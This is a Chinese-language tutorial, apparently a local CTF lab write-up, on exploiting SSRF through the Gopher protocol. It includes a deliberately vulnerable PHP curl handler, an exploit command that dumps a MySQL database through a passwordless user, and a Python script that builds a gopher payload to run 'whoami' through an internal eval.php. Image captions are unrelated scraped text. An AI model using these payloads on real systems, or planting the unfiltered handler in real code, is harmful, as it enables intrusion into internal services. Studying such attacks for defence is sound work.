SSRF利用 Gopher


0X01 前言

研究了一天Gopher协议的应用,实践之后决定写一下关于Gopher协议之SSRF利用的相关总结。

参考链接:

0X02 概述

SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。

不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码

基本协议格式URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

有关gopher利用的一些小细节:

  • 细节一
    curl -V查看curl是否支持gopher协议nc发现数据换行了,但是只显示了ello,而h则消失了,因此在这里我们以后构造gopher需要在在之前加入_来充当那个消失的字符,即:
  • 细节二
    注意如果在地址栏利用payload时要再进行一次url编码。

环境搭建:apache+php5.4

推荐用PHPstudy搭建环境,用此代码用来模拟SSRF:

<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>

可以看到:

prometheus 埋点统计接口qps gopher埋点_数据库

gopher攻击Mysql

MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。

登录时需要用服务器发来的scramble加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client给server发的认证包就是相对固定的了。这样就无需交互,可以通过gopher协议来发送

mysql数据包前需要加一个四字节的包头。前三个字节代表包的长度,第四个字节代表包序,在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。

prometheus 埋点统计接口qps gopher埋点_http_02

这里我们本地搭建的数据库的设立了一个curl用户,且赋予其权限,允许空密码登录:

CREATE USER 'curl'@'localhost';
GRANT ALL ON *.* TO 'curl'@'localhost';

prometheus 埋点统计接口qps gopher埋点_安全_03

我们如何通过localhost/index.php?url=来攻击mysql呢?这里是构造了gopher来攻击mysql:

https://github.com/FoolMitAh/mysql_gopher_attack github上有一个gopher攻击mysql的python脚本,既然我们知道了curl用户,那么:

python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c

参数说明:

-u 指定用户
-d 指定数据库,这里我们可以通过information_schema来获取所有的数据库
-P 指定sql语句

抓取的mysql通信数据包:

prometheus 埋点统计接口qps gopher埋点_http_04

其实也就得到了数据库:infoemtion_schema、challenges、dwva、test等等。

具体的回显:

prometheus 埋点统计接口qps gopher埋点_数据库_05

所以我们最终可以通过sql查询得到flag(本地把它放在了test库下的flag表中)

prometheus 埋点统计接口qps gopher埋点_http_06

攻击内网

下面通过一个本地搭建的ctf题查看:
/index.php源代码为:

<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>
<!--hint:eval.php-->

提示eval.php,提示要POST ctf参数

prometheus 埋点统计接口qps gopher埋点_数据库_07

这里便利用了gopher进行SSRF,抓取POST的数据包并修改host为127.0.0.1 :

prometheus 埋点统计接口qps gopher埋点_安全_08

得到其所有原始的hex数据后构造gopher进行利用,在这里因为是用过url传入,需要进行url编码:

# -*- coding: UTF-8 -*-
#coding: utf-8
from urllib import quote




s='504F5354202F6576616C2E70687020485454502F312E310D0A486F73743A203132372E302E302E310D0A557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2057696E36343B207836343B2072763A36392E3029204765636B6F2F32303130303130312046697265666F782F36392E300D0A4163636570743A202A2F2A0D0A4163636570742D4C616E67756167653A207A682D434E2C7A683B713D302E382C7A682D54573B713D302E372C7A682D484B3B713D302E352C656E2D55533B713D302E332C656E3B713D302E320D0A436F6E74656E742D547970653A206170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F6465640D0A43616368653A206E6F2D63616368650D0A4F726967696E3A206D6F7A2D657874656E73696F6E3A2F2F31633865373436302D653166312D346165662D386535352D3334653538383032393231610D0A436F6E74656E742D4C656E6774683A2031300D0A436F6E6E656374696F6E3A20636C6F73650D0A0D0A6374663D77686F616D69'
len=len(s)
p=''
for i in range(len)[::2]:
    p+=quote(chr(int(s[i:i+2],16)))
#print(p)

#若url浏览器访问需再编码一次,curl可直接访问
urlp = quote(p)
urlp = 'gopher://127.0.0.1:80/_' + urlp
print(urlp)

即将其进行url编码:

prometheus 埋点统计接口qps gopher埋点_php_09

(如果是在url中还需进行一次编码,curl则不用进行编码)

成功SSRF执行命令whoami

prometheus 埋点统计接口qps gopher埋点_mysql_10